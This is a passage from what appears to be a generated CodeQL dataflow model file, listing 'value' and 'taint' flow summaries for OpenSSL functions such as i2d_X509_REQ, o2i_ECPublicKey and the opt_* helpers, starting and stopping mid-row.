**)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME_ENTRY", "(const X509_NAME_ENTRY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME_ENTRY", "(const X509_NAME_ENTRY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_PUBKEY", "(const X509_PUBKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_PUBKEY", "(const X509_PUBKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_PUBKEY", "(const X509_PUBKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_PUBKEY", "(const X509_PUBKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ", "(const X509_REQ *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_REQ", "(const X509_REQ *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ", "(const X509_REQ *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ", "(const X509_REQ *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ_INFO", "(const X509_REQ_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_REQ_INFO", "(const X509_REQ_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ_INFO", "(const X509_REQ_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ_INFO", "(const X509_REQ_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ_bio", "(BIO *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ_fp", "(FILE *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REVOKED", "(const X509_REVOKED *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_REVOKED", "(const X509_REVOKED *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REVOKED", "(const X509_REVOKED *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REVOKED", "(const X509_REVOKED *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_SIG", "(const X509_SIG *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_SIG", "(const X509_SIG *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_SIG", "(const X509_SIG *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_SIG", "(const X509_SIG *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_VAL", "(const X509_VAL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_VAL", "(const X509_VAL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_VAL", "(const X509_VAL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_VAL", "(const X509_VAL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_bio", "(BIO *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_fp", "(FILE *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_int_dhx", "(const int_dhx942_dh *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_int_dhx", "(const int_dhx942_dh *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_int_dhx", "(const int_dhx942_dh *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_int_dhx", "(const int_dhx942_dh *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_re_X509_CRL_tbs", "(X509_CRL *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_CRL_tbs", "(X509_CRL *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_CRL_tbs", "(X509_CRL *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_REQ_tbs", "(X509_REQ *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_REQ_tbs", "(X509_REQ *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_REQ_tbs", "(X509_REQ *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_tbs", "(X509 *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_tbs", "(X509 *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_tbs", "(X509 *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_ECPublicKey", "(const EC_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_ECPublicKey", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_ECPublicKey", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT", "(const SCT *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT", "(const SCT *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT", "(const SCT *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_signature", "(const SCT *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_signature", "(const SCT *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_signature", "(const SCT *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2s_ASN1_ENUMERATED_TABLE", "(X509V3_EXT_METHOD *,const ASN1_ENUMERATED *)", "", "Argument[*0].Field[**usr_data].Field[**lname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "i2s_ASN1_ENUMERATED_TABLE", "(X509V3_EXT_METHOD *,const ASN1_ENUMERATED *)", "", "Argument[*0].Field[**usr_data].Field[*lname]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "i2s_ASN1_IA5STRING", "(X509V3_EXT_METHOD *,ASN1_IA5STRING *)", "", "Argument[*1].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "i2s_ASN1_IA5STRING", "(X509V3_EXT_METHOD *,ASN1_IA5STRING *)", "", "Argument[*1].Field[*data]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "i2s_ASN1_OCTET_STRING", "(X509V3_EXT_METHOD *,const ASN1_OCTET_STRING *)", "", "Argument[*1].Field[**data]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "i2s_ASN1_OCTET_STRING", "(X509V3_EXT_METHOD *,const ASN1_OCTET_STRING *)", "", "Argument[*1].Field[*data]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "i2s_ASN1_UTF8STRING", "(X509V3_EXT_METHOD *,ASN1_UTF8STRING *)", "", "Argument[*1].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "i2s_ASN1_UTF8STRING", "(X509V3_EXT_METHOD *,ASN1_UTF8STRING *)", "", "Argument[*1].Field[*data]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "i2t_ASN1_OBJECT", "(char *,int,const ASN1_OBJECT *)", "", "Argument[*2].Field[**data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "i2t_ASN1_OBJECT", "(char *,int,const ASN1_OBJECT *)", "", "Argument[*2].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "i2t_ASN1_OBJECT", "(char *,int,const ASN1_OBJECT *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "i2t_ASN1_OBJECT", "(char *,int,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "i2v_ASN1_BIT_STRING", "(X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "i2v_ASN1_BIT_STRING", "(X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "i2v_GENERAL_NAME", "(X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "i2v_GENERAL_NAME", "(X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "i2v_GENERAL_NAMES", "(X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "i2v_GENERAL_NAMES", "(X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[**0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[**1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "info_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "info_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "init_client", "(int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**0].Field[**keytype]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[**0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "Argument[**0].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**0].Field[*keytype]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[**0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "Argument[**0].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "int_bn_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "int_bn_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "int_bn_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "int_bn_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "int_bn_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "kdf_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "kdf_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "list_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "list_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "load_cert_certs", "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "load_cert_certs", "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "load_cert_certs", "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "load_certs", "(const char *,int,stack_st_X509 **,const char *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "load_certs_multifile", "(char *,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "load_certstore", "(char *,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "load_crls", "(const char *,stack_st_X509_CRL **,const char *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "load_csr_autofmt", "(const char *,int,stack_st_OPENSSL_STRING *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "load_excert", "(SSL_EXCERT **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[*0]", "ReturnValue[*].Field[**dbfname]", "value", "dfc-generated"] + - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[*1]", "ReturnValue[*].Field[*attributes]", "value", "dfc-generated"] + - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[0]", "ReturnValue[*].Field[**dbfname]", "taint", "dfc-generated"] + - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[1]", "ReturnValue[*].Field[*attributes]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[10]", "Argument[*10]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[11]", "Argument[*11]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[12]", "Argument[*12]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[9]", "Argument[*9]", "taint", "dfc-generated"] + - ["", "", True, "lookup_sess_in_cache", "(SSL_CONNECTION *,const unsigned char *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "mac_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "mac_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[*0].Field[**id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[*0].Field[*id]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "make_uppercase", "(char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "md4_block_data_order", "(MD4_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "md4_block_data_order", "(MD4_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[**0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[**1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "next_item", "(char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "next_item", "(char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "next_item", "(char *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "next_item", "(char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "next_protos_parse", "(size_t *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "next_protos_parse", "(size_t *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "nseq_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "nseq_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0].Field[*conv_form]", "taint", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*].Field[*conv_form]", "taint", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "o2i_SCT", "(SCT **,const unsigned char **,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "o2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,size_t)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "o2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,size_t)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "o2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "o2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "o2i_SCT_signature", "(SCT *,const unsigned char **,size_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ocsp_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ocsp_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "openssl_fopen", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "openssl_fopen", "(const char *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "opt_cipher_any", "(const char *,EVP_CIPHER **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_cipher_silent", "(const char *,EVP_CIPHER **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_help", "(const OPTIONS *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "opt_init", "(int,char **,const OPTIONS *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "opt_int", "(const char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_int", "(const char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_int", "(const char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_long", "(const char *,long *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_long", "(const char *,long *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_md", "(const char *,EVP_MD **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_md_silent", "(const char *,EVP_MD **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_pair", "(const char *,const OPT_PAIR *,int *)", "", "Argument[*1].Field[*retval]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "opt_path_end", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "opt_path_end", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "opt_path_end", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "opt_progname", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "opt_progname", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "opt_ulong", "(const char *,unsigned long *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_ulong", "(const char *,unsigned long *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_DER_w_begin_sequence", "(WPACKET *,int)", "", "Argument[*0].Field[**subs]", "Argument[*0].Field[**subs].Field[**parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_DER_w_begin_sequence", "(WPACKET *,int)", "", "Argument[*0].Field[*subs]", "Argument[*0].Field[**subs].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_DER_w_bn", "(WPACKET *,int,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_DER_w_octet_string", "(WPACKET *,int,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_DER_w_precompiled", "(WPACKET *,int,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_X509_ALGOR_from_nid", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_X509_ALGOR_from_nid", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_X509_ALGOR_from_nid", "(int,int,void *)", "", "Argument[1]", "ReturnValue[*].Field[**parameter].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_X509_PUBKEY_INTERNAL_free", "(X509_PUBKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ossl_X509_PUBKEY_INTERNAL_free", "(X509_PUBKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_a2i_ipadd", "(unsigned char *,const char *)", "", "Argument[*1]", 